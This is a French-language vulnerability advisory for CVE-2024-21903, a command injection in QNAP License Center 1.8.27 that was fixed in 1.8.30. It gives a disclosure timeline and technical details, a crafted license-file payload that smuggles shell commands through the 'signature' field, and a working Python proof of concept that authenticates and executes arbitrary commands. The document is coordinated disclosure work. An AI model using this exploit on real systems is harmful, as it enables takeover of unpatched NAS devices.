QNAP QSA-24-20 : License Center - Exécution de code arbitraire - CVE-2024-21903
Historique (DD/MM/YYYY)
- 12/01/2024 : Bug envoyé à l’équipe de sécurité de QNAP
- 18/01/2024 : QNAP confirme la réception du rapport et demande des informations complémentaires.
- 23/02/2024 : CVE-2024-21903 assignée
- 03/04/2024 : Correctif publié avec License Center 1.8.30
- 25/04/2024 : Avis de sécurité publié sur le site web de QNAP
Résumé
The License Center 1.8.27 est vulnérable à une injection de commande et permet à un administrateur ou ayant des droits d’utilisation sur l’application License Center d’exécuter une commande arbitraire et de prendre le contrôle du système.
Version
Cette vulnérabilité a été détectée sur LicenseCenter 1.8.27. L’environnement de test est basé sur QTSCloud c5.1.0.2498.
Détails techniques
La vulnérabilité nécessite d’avoir des privilèges administrateurs ou que l’utilisateur ait été délégué pour utiliser le LicenseCenter (System Management).
L’exploitation peut se faire manuellement en important ce fichier comme un fichier de licence.
{
"nonce":"",
"data":"",
"signature":"';id > /home/httpd/cgi-bin/result;'"
}
Une fois importée, le résultat de la commande peut être lu en allant sur l’URL cgi-bin/result
Lorsque l’utilisateur tente d’importer le fichier de licence, le contenu est décodé et la signature est vérifiée.
Pour vérifier la signature, la fonction qcloud_license_internal_unpack de la bibliothèque libqlicense est utilisée. Mais la donnée est complétement contrôlé par l’attaquant et la valeur n’est pas correctement filtrée avant d’être utilisée.
Exploitation
Cet exploit est un POC qui exécute la commande id
et enregistre le résultat dans le fichier suivant : /home/httpd/cgi-bin/result. Ce fichier peut être lu par une requête HTTP.
import requests, base64, json
BASE_URL = "http://10.0.10.11:8080"
USERNAME = ""
PASSWORD = ""
COMMAND = "id"
data = {
"user": USERNAME,
"serviceKey": "1",
"pwd": base64.b64encode(PASSWORD.encode()).decode()
}
sid = requests.post(BASE_URL+"/cgi-bin/authLogin.cgi", data=data).text.split("<authSid><![CDATA[")[1].split("]")[0]
payload = {
"nonce":"",
"data":"",
"signature":"';echo {}|base64 -d |sh > /home/httpd/cgi-bin/result;'".format(base64.b64encode(COMMAND.encode()).decode())
}
files = {
"license_file": ("license.lif", json.dumps(payload))
}
params = {
"language":"ENG",
"cmd":"offline_activate_license",
"is_extend":"0",
"sid":sid,
}
requests.post(BASE_URL+'/cgi-bin/qid/qlicenseRequest.cgi', params=params, files=files)
print(requests.get(BASE_URL+"/cgi-bin/result").text)